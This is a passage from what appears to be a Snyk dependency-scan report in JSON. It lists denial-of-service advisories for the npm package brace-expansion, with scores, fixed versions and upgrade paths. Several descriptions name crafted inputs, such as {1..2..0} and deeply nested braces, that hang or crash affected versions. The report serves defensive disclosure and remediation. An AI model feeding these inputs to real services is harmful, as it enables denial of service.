"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
